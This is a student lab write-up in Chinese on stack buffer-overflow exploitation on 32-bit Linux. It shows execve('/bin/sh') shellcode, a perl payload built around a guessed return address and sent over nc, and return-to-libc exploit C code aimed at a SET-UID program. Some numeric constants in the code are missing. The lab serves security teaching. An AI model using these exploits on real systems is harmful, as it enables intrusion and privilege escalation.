PC平台逆向破解_Advanced

一.注入shellcode并执行

1.什么是shellcode?

shellcode顾名思义就是一段为了获取交互式shell的机器指令,是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。

2.如何编写shellcode?

MAL_Shellcode基础

Shellcode的原理及编写

3.如何实现shellcode注入?

  • 准备一段shellcode代码:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 设置环境:

execstack指令  -s 参数:设置堆栈可执行

-q 参数:查询文件的堆栈是否可执行   结果X表示可执行

echo "" > /proc/sys/kernel/randomize_va_space

表示关闭地址随机化

  • 构造payload:

linux两种构造buf的方法:

①retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面 ②nop+shellcode+retaddr //缓冲区比较大的时候shellcode放retaddr前面

//nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

选择anything+retaddr+nops+shellcode 结构来构造如下语句:

perl -e 'print "H" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > 4306input_shellcode

\x1\x2\x3\x4代表返回地址,我们需要改成shellcode的地址。

现在求shellcode的地址~~

注入上面的攻击buf:

新打开一个terminal,查询20144306进程号:

第一行4514即是。

调试程序20144306:

反汇编foo函数:

注意ret的位置,我们要在ret处设置断点,目的就是为了查看注入buf的内存地址来分析shellcode的地址:

0xffffd32c存放的的之前瞎猜的返回地址,实际想要的shellcode地址在0xc0319090那条code处,也就是: 0xffffd334。

然后修改之前的注入语句:

再来尝试注入:

成功~

4.再来一段shellcode注入?结合nc模拟远程攻击

这次我们需要两台主机pc1和pc2

先查看pc1的ip地址:

一定要好好设置pc1环境:

这里如果不关闭地址随机化,那么每次foo函数的地址都会随机改变,我们根本就没法预测。

在pc1上运行nc监测4306端口:

另一台主机pc2远程连接,注入buf(这个buf还是之前的buf,下面我们要对此buf进行修改):

在pc1上另开一个terminal,查询可执行文件20144306的进程号,下面步骤就和前面基本一样了,gdb编译20144306,反编译foo,查询esp位置,并计算shellcode的地址:

看到shellcode地址是0xffffd344,在pc2上修改buf:

ok,再来一次:

pc 1输入下面内容:

pc 2输入下面内容:

成功~~

二.Return-to-libc攻击深入

1.关于Return-to-libc

如果攻击者将攻击代码放在堆栈中,但目标设置了非执行堆栈技术,上面的方法就行不通。

再来看下Return-to-libc攻击方法,该方法不需要注入,而利用漏洞函数已有函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。

2.怎么使用Return-to-libc?

  • 配置32位linux环境:

  • 添加新用户 hsy:

  • 切换新建用户完成以下操作:

进入32位linux环境,关闭地址随机化,便于我们计算地址值

设置zsh程序代替/bin/bash,防止/bin/bash中的防护程序发挥作用:

将漏洞程序20144306retlib.c保存在/tmp目录下:

代码如下:

 /* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), , badfile);
return ;
}

20144306retlib.c

  • sudo su 切换身份,编译20144306retlib.c,关闭阻止缓冲区溢出的栈保护机制,并为其设置SET-UID来方便提权:

  • exit回到新建用户,新建另两个c文件,分别放置读取环境变量的程序和攻击程序:
  #include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < ){
printf("Usage: %s <environment var> <target program name>\n", argv[]);
exit();
}
ptr = getenv(argv[]);
ptr += (strlen(argv[]) - strlen(argv[])) * ;
printf("%s will be at %p\n", argv[], ptr);
return ;
}

20144306getenvaddr.c

//读取环境变量

 //编译一下

 #include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), , badfile);
fclose(badfile);
}

20144306exploit.c

//攻击

//不要忘记编译

  • 利用20144306getenvaddr来获取BIN_SH的地址:0xffffde1e

  • 利用gdb来获得system和exit的地址:

观察到system地址是:0xf7e2eb30,exit地址是:0xf7e227e0

  • 回过头来,打开20144306exploit.c进行如下修改,填写查询到的三个地址:

  • 删除刚才调试编译的 20144306exploit 程序和 badfile 文件,重新编译修改后的 20144306exploit.c:

  • 先运行攻击程序20144306exploit再运行漏洞程序20144306retlib

成功~~

三.本期收获

对shellcode有了初步了解,刚开始做实验不知道自己在干什么,然后在失败中渐渐明白为什么要做这一步以及不做会有什么后果,比如不关地址随机化就没法预测地址,失败次数多了,步骤重复地都能背下来了,这个实验在后门实验后面做的,后门用到了ncat,这里又将shellcode和ncat结合做了个小实践也很有意思,单一的攻击很软,只有多种攻击方式结合才会让目标无所适从,第一次了解Return-to-libc攻击,三个攻击代码都是别人写好的,拿出来用很简单,但是真正理解然后自己仿制却需要更多时间,希望今后能力会有更大提升,先写到这里,这篇应该还可以完善~~

20144306《网络对抗》MAL_PC平台逆向破解_Advanced的更多相关文章

  1. 20155334 网络对抗PC平台逆向破解(二)

    注入Shellcode并运行攻击 shellcode就是一段机器指令(code) 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe) ...

  2. 20145240《网络对抗》PC平台逆向破解_advanced

    PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...

  3. 20145221高其_PC平台逆向破解_advanced

    20145221高其_PC平台逆向破解_advanced 实践目录 shellcode注入 Return-to-libc 攻击实验 shellcode注入 概述 Shellcode实际是一段代码(也可 ...

  4. 20145218张晓涵 PC平台逆向破解_advanced

    ---恢复内容开始--- 20145218张晓涵 PC平台逆向破解_advanced shellcode注入 基础知识 shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码 ...

  5. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  6. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  8. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  9. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

随机推荐

  1. 【Leaflet】鼠标提取坐标

    map.on('mousemove', function (e) { document.getElementById('info').innerHTML = /* innerHTML 属性设置或返回表 ...

  2. IIS日志清理(VBS版,JS版)

    IIS默认日志记录在C:\WINDOWS\system32\LogFiles,时间一长,特别是子站点多的服务器,一个稍微有流量的网站,其日志每天可以达到上百兆,这些文件日积月累会严重的占用服务器磁盘空 ...

  3. IIS中采用ISAPI-Rewrite防盗链

    本规则支持白名单排除式防盗链,搜索引擎友好(不屏蔽),被盗链后的错误提示转向,支持各种文件类型,经作者亲验真的能用,第一时间在itmop.com原创发表,请继续往下阅读. 近来小站遇到了盗链问题,至使 ...

  4. Explaining Delegates in C# - Part 2 (Events 1)

    In my previous post, I spoke about a few very basic and simple reasons of using delegates - primaril ...

  5. 适配器模式(PHP实现)

    [目的]:将一个类的接口转换成客户希望的另外一个接口,Adapter模式使得原来由于接口不兼容而不能一起工作的那此类可以一起工作 [主要角色]目标(Target)角色:定义客户端使用的与特定领域相关的 ...

  6. <转>特征工程(二)

    出处: http://blog.csdn.net/longxinchen_ml/article/details/50493845, http://blog.csdn.net/han_xiaoyang/ ...

  7. 【大数据系列】HDFS安全模式

    一.什么是安全模式 安全模式时HDFS所处的一种特殊状态,在这种状态下,文件系统只接受读数据请求,而不接受删除.修改等变更请求.在NameNode主节点启动时,HDFS首先进入安全模式,DataNod ...

  8. u-boot.lds文件简介

    可执行文件由许多链接在一起的对象文件组成.对象文件有许多节,如文本.数据.init 数据.bss等.这些对象文件都是由一个称为 链接器脚本(*lds)的文件链接并装入的.这个链接器脚本的功能是将输入对 ...

  9. package.json字段全解(转)

    Name 必须字段. 小提示: 不要在name中包含js, node字样: 这个名字最终会是URL的一部分,命令行的参数,目录名,所以不能以点号或下划线开头: 这个名字可能在require()方法中被 ...

  10. input type="number"时,maxlength不起作用怎么解决

    最近小颖在做公司的angular项目时,发现当input type="number"时,maxlength不起作用,百度了下解决方式,顺便记录下,以便后期查看嘻嘻 <inpu ...